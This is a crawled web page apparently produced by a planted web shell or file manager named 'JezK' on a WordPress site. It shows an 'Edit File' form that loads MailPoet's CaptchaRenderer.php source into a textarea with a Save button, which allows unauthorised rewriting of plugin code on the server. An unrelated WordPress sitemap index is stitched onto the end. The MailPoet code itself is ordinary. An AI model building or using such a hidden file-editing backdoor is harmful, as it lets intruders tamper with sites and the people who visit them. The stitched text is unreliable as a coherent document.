
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: CaptchaRenderer.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php declare(strict_types = 1);

namespace MailPoet\Captcha;

if (!defined(&#039;ABSPATH&#039;)) exit;


use MailPoet\Config\Env;
use MailPoet\Util\Headers;
use MailPoetVendor\Gregwar\Captcha\CaptchaBuilder;

class CaptchaRenderer {
  const DEFAULT_WIDTH = 220;
  const DEFAULT_HEIGHT = 60;

  private CaptchaPhrase $phrase;

  public function __construct(
    CaptchaPhrase $phrase
  ) {
    $this-&gt;phrase = $phrase;
  }

  public function isSupported(): bool {
    return extension_loaded(&#039;gd&#039;) &amp;&amp; function_exists(&#039;imagettftext&#039;);
  }

  public function renderAudio(string $sessionId): void {
    $audioPath = Env::$assetsPath . &#039;/audio/&#039;;
    $phrase = $this-&gt;getPhrase($sessionId);

    $files = [];
    foreach (str_split($phrase) as $character) {
      $file = $audioPath . strtolower($character) . &#039;.mp3&#039;;
      if (!file_exists($file)) {
        throw new \RuntimeException(&quot;File not found.&quot;);
      }
      $files[] = $file;
    }

    Headers::setNoCacheHeaders();
    header(&#039;Content-Type: audio/mpeg&#039;);
    foreach ($files as $file) {
      readfile($file);
    }
  }

  public function renderImage(string $sessionId, $width = null, $height = null): void {
    if (!$this-&gt;isSupported()) {
      return;
    }

    $width = (isset($width) &amp;&amp; $width &gt; 0) ? intval($width) : self::DEFAULT_WIDTH;
    $height = (isset($height) &amp;&amp; $height &gt; 0) ? intval($height) : self::DEFAULT_HEIGHT;

    $fontNumbers = array_merge(range(0, 3), [5]); // skip font #4
    $fontNumber = $fontNumbers[mt_rand(0, count($fontNumbers) - 1)];

    $reflector = new \ReflectionClass(CaptchaBuilder::class);
    $captchaDirectory = dirname((string)$reflector-&gt;getFileName());
    $font = $captchaDirectory . &#039;/Font/captcha&#039; . $fontNumber . &#039;.ttf&#039;;

    $phrase = $this-&gt;getPhrase($sessionId);
    $builder = CaptchaBuilder::create($phrase)
      -&gt;setBackgroundColor(255, 255, 255)
      -&gt;setTextColor(1, 1, 1)
      -&gt;setMaxBehindLines(0)
      -&gt;build($width, $height, $font);

    Headers::setNoCacheHeaders();
    header(&#039;Content-Type: image/jpeg&#039;);
    $builder-&gt;output();
  }

  public function refreshPhrase(string $sessionId): string {
    return $this-&gt;phrase-&gt;createPhrase($sessionId);
  }

  private function getPhrase(string $sessionId): string {
    $phrase = $this-&gt;phrase-&gt;getPhrase($sessionId);
    if (!$phrase) {
      throw new \RuntimeException(&quot;No CAPTCHA phrase was generated.&quot;);
    }
    return $phrase;
  }
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
